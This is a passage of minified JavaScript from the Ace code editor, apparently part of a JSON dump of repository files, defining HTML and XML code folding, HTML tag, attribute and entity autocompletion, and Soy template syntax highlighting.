r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/soy_template_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this);var e={start:[{include:\"#template\"},{include:\"#if\"},{include:\"#comment-line\"},{include:\"#comment-block\"},{include:\"#comment-doc\"},{include:\"#call\"},{include:\"#css\"},{include:\"#param\"},{include:\"#print\"},{include:\"#msg\"},{include:\"#for\"},{include:\"#foreach\"},{include:\"#switch\"},{include:\"#tag\"},{include:\"text.html.basic\"}],\"#call\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.call.soy\"],regex:\"(\\\\{/?)(\\\\s*)(?=call|delcall)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{token:[\"entity.name.tag.soy\",\"variable.parameter.soy\"],regex:\"(call|delcall)(\\\\s+[\\\\.\\\\w]+)\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b(data)(\\\\s*)(=)\"},{defaultToken:\"meta.tag.call.soy\"}]}],\"#comment-line\":[{token:[\"comment.line.double-slash.soy\",\"comment.line.double-slash.soy\"],regex:\"(//)(.*$)\"}],\"#comment-block\":[{token:\"punctuation.definition.comment.begin.soy\",regex:\"/\\\\*(?!\\\\*)\",push:[{token:\"punctuation.definition.comment.end.soy\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.soy\"}]}],\"#comment-doc\":[{token:\"punctuation.definition.comment.begin.soy\",regex:\"/\\\\*\\\\*(?!/)\",push:[{token:\"punctuation.definition.comment.end.soy\",regex:\"\\\\*/\",next:\"pop\"},{token:[\"support.type.soy\",\"text\",\"variable.parameter.soy\"],regex:\"(@param|@param\\\\?)(\\\\s+)(\\\\w+)\"},{defaultToken:\"comment.block.documentation.soy\"}]}],\"#css\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.css.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(css)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"support.constant.soy\",regex:\"\\\\b(?:LITERAL|REFERENCE|BACKEND_SPECIFIC|GOOG)\\\\b\"},{defaultToken:\"meta.tag.css.soy\"}]}],\"#for\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.for.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(for)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword.operator.soy\",regex:\"\\\\bin\\\\b\"},{token:\"support.function.soy\",regex:\"\\\\brange\\\\b\"},{include:\"#variable\"},{include:\"#number\"},{include:\"#primitive\"},{defaultToken:\"meta.tag.for.soy\"}]}],\"#foreach\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.foreach.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(foreach)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword.operator.soy\",regex:\"\\\\bin\\\\b\"},{include:\"#variable\"},{defaultToken:\"meta.tag.foreach.soy\"}]}],\"#function\":[{token:\"support.function.soy\",regex:\"\\\\b(?:isFirst|isLast|index|hasData|length|keys|round|floor|ceiling|min|max|randomInt)\\\\b\"}],\"#if\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.if.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(if|elseif)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#operator\"},{include:\"#function\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{defaultToken:\"meta.tag.if.soy\"}]}],\"#namespace\":[{token:[\"entity.name.tag.soy\",\"text\",\"variable.parameter.soy\"],regex:\"(namespace|delpackage)(\\\\s+)([\\\\w\\\\.]+)\"}],\"#number\":[{token:\"constant.numeric\",regex:\"[\\\\d]+\"}],\"#operator\":[{token:\"keyword.operator.soy\",regex:\"==|!=|\\\\band\\\\b|\\\\bor\\\\b|\\\\bnot\\\\b|-|\\\\+|/|\\\\?:\"}],\"#param\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.param.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(param)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b([\\\\w]+)(\\\\s*)((?::)?)\"},{defaultToken:\"meta.tag.param.soy\"}]}],\"#primitive\":[{token:\"constant.language.soy\",regex:\"\\\\b(?:null|false|true)\\\\b\"}],\"#msg\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.msg.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(msg)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\"],regex:\"\\\\b(meaning|desc)(\\\\s*)(=)\"},{defaultToken:\"meta.tag.msg.soy\"}]}],\"#print\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.print.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(print)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#print-parameter\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#attribute-lookup\"},{defaultToken:\"meta.tag.print.soy\"}]}],\"#print-parameter\":[{token:\"keyword.operator.soy\",regex:\"\\\\|\"},{token:\"variable.parameter.soy\",regex:\"noAutoescape|id|escapeHtml|escapeJs|insertWorkBreaks|truncate\"}],\"#special-character\":[{token:\"support.constant.soy\",regex:\"\\\\bsp\\\\b|\\\\bnil\\\\b|\\\\\\\\r|\\\\\\\\n|\\\\\\\\t|\\\\blb\\\\b|\\\\brb\\\\b\"}],\"#string-quoted-double\":[{token:\"string.quoted.double\",regex:'\"[^\"]*\"'}],\"#string-quoted-single\":[{token:\"string.quoted.single\",regex:\"'[^']*'\"}],\"#switch\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.switch.soy\",\"entity.name.tag.soy\"],regex:\"(\\\\{/?)(\\\\s*)(switch|case)\\\\b\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#variable\"},{include:\"#function\"},{include:\"#number\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"},{defaultToken:\"meta.tag.switch.soy\"}]}],\"#attribute-lookup\":[{token:\"punctuation.definition.attribute-lookup.begin.soy\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.attribute-lookup.end.soy\",regex:\"\\\\]\",next:\"pop\"},{include:\"#variable\"},{include:\"#function\"},{include:\"#operator\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#string-quoted-single\"},{include:\"#string-quoted-double\"}]}],\"#tag\":[{token:\"punctuation.definition.tag.begin.soy\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{include:\"#namespace\"},{include:\"#variable\"},{include:\"#special-character\"},{include:\"#tag-simple\"},{include:\"#function\"},{include:\"#operator\"},{include:\"#attribute-lookup\"},{include:\"#number\"},{include:\"#primitive\"},{include:\"#print-parameter\"}]}],\"#tag-simple\":[{token:\"entity.name.tag.soy\",regex:\"{{\\\\s*(?:literal|else|ifempty|default)\\\\s*(?=\\\\})\"}],\"#template\":[{token:[\"punctuation.definition.tag.begin.soy\",\"meta.tag.template.soy\"],regex:\"(\\\\{/?)(\\\\s*)(?=template|deltemplate)\",push:[{token:\"punctuation.definition.tag.end.soy\",regex:\"\\\\}\",next:\"pop\"},{token:[\"entity.name.tag.soy\",\"text\",\"entity.name.function.soy\"],regex:\"(template|deltemplate)(\\\\s+)([\\\\.\\\\w]+)\",originalRegex:\"(?<=template|deltemplate)\\\\s+([\\\\.\\\\w]+)\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.double.soy\"],regex:'\\\\b(private)(\\\\s*)(=)(\\\\s*)(\"true\"|\"false\")'},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.single.soy\"],regex:\"\\\\b(private)(\\\\s*)(=)(\\\\s*)('true'|'false')\"},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.double.soy\"],regex:'\\\\b(autoescape)(\\\\s*)(=)(\\\\s*)(\"true\"|\"false\"|\"contextual\")'},{token:[\"entity.other.attribute-name.soy\",\"text\",\"keyword.operator.soy\",\"text\",\"string.quoted.single.soy\"],regex:\"\\\\b(autoescape)(\\\\s*)(=)(\\\\s*)('true'|'false'|'contextual')\"},{defaultToken:\"meta.tag.template.soy\"}]}],\"#variable\":[{token:\"variable.other.soy\",regex:\"\\\\$[\\\\w\\\\.]+\"}]};for(var t in e)this.$rules[t]?this.$rules[t].unshift.call(this.$rules[t],e[t]):this.$rules[t]=e[t];this.normalizeRules()};s.metaData={comment:\"SoyTemplate\",fileTypes:[\"soy\"],firstLineMatch:\"\\\\{\\\\s*namespace\\\\b\",foldingStartMarker:\"\\\\{\\\\s*template\\\\s+[^\\\\}]*\\\\}\",foldingStopMarker:\"\\\\{\\\\s*/\\\\s*template\\\\s*\\\\}\",name:\"SoyTemplate\",scopeName:\"source.soy\"},r.inherits(s,i),t.SoyTemplateHighlightRules=s}),define(\"ace/mode/soy_template\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/soy_template_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./soy_template_highlight_rules\").SoyTemplateHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/soy_template\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-space.js",
